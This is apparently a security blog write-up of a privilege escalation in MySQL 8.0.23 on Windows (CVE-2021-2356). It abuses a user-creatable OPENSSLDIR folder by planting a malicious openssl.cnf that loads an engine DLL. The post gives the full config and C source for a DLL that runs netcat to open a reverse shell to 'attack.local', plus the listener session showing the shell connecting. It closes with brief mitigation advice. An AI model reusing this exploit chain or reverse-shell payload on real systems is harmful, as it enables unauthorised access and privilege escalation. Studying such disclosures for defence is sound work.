OPENSSLDIR

The adventures of hidden folder to privilege escalation

Author: @p3tryx

OpenSSL is a very important library, widely used in numerous open source and closed source applications. This library has an internal directory tree that is used to locate the configuration file and this directory is called OPENSSLDIR. Inside OPENSSLDIR resides the configuration file **openssl.cnf** and this is where the privilege escalation adventure begins. So the first problem is figuring out where the full path of OPENSSLDIR is in the file system.
It is always good to point out that the objective of this work is Educational, helping to protect the environment, and finding ways to protect and mitigate its systems.

Where is the path?

When the application is dependent on the OpenSSL library, it is necessary to indicate the full path to OPENSSLDIR at compile-time, but at runtime, this path is not necessary. Therefore, it is possible to discover the full path using reverse engineering techniques and tools, such as: **strings**, **procmon**, and others. An important point is that if OPENSSLDIR is pointed to /usr/local on Linux and the application is cross-compiled, the full path on Windows will be c:\usr\local.
Let's check in practice how to discover and explore CVE-2021-2356, installing Mysql Server 8.0.23 on Windows Server 2020.

Use the tool **strings** from Sysinternals to get the path.

```
C:\Users\Administrator\Downloads\Strings>strings.exe c:\MySQL8.0\bin\*.dll | findstr OPENSSLDIR
c:\MySQL8.0\bin\libcrypto-1_1-x64.dll: OPENSSLDIR: "C:\build\sb_1-1326873-1607441049.39\openssl-1.1.1i-windows-vs16-64bit\SSL"
```

Well we found the hidden folder let's create this path

```
C:\Users\Administrator\Downloads\Strings>mkdir "C:\build\sb_1-1326873-1607441049.39\openssl-1.1.1i-windows-vs16-64bit\SSL"
```

So what's the next step? Let's see how to inject a .dll into the openssl configuration.

How to inject code in OpenSSL?

In **openssl.cnf** there are a lot of parameters, but in this case, I'll focus on **dynamic_path**. This parameter is used to load or add custom mechanisms in the OpenSSL library. With this parameter, it is

possible to inject a malicious engine.

Malicious openssl.cnf config

```
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
malicious = malicious_section
[malicious_section]
engine_id = malicious
dynamic_path = c:\\tmp\\rev_shell.dll
init = 0
```

Note that **rev_shell.dll** is a malicious dll that will execute a reverse shell.

Malicious DLL

```
/* Cross Compile with
   x86_64-w64-mingw32-g++ rev_shell.c -o rev_shell.dll -shared
*/
#include <windows.h>
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("cmd /c C:\\Users\\Public\\Downloads\\nc.exe attack.local
8080 -e cmd.exe");
            break;
        case DLL_THREAD_ATTACH:
         // Do thread-specific initialization.
            break;
        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;
        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }
```

```
    return TRUE;  // Successful DLL_PROCESS_ATTACH.
}
```

Cross Compile the DLL on Kali and upload to *c:\tmp* at victim machine. Upload to the netcat to **c:\users\public\downloads**

To test if everything is working run a mysqladmin.exe, will open a reverse shell with the logged user.

```
c:\>mysqladmin
```

Reverse Shell

```
$ nc -nlvp 8080
listening on [any] 8080 ...
connect to [XXX.XXX.XXX.XXX] from (UNKNOWN) [XXX.XXX.XXX.XXX] 49713
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

c:\>whoami
whoami
win-xxxxxxx\user
```

So to get a high-level privileged reverse shell is necessary, reboot the machine.

How to mitigate this vulnerability

Create a directory at the path ***C:\build\sb_1-1326873-1607441049.39\openssl-1.1.1i-windows-vs16-64bit\SSL*** and set the permissions to Administrator only, this way a normal user account it will not be allowed to create a malicious **openssl.cnf** file.

Conclusion

This vulnerability is very common a lot of applications are vulnerable. So a good practice is to use the technique shown in this article to find this vulnerability in other applications that use the OpenSSL library. If you find doesn't forget to ping this article and open a CVE in your name.

References

https://www.openssl.org/docs/manmaster/man5/config.html
https://www.kb.cert.org/vuls/id/567764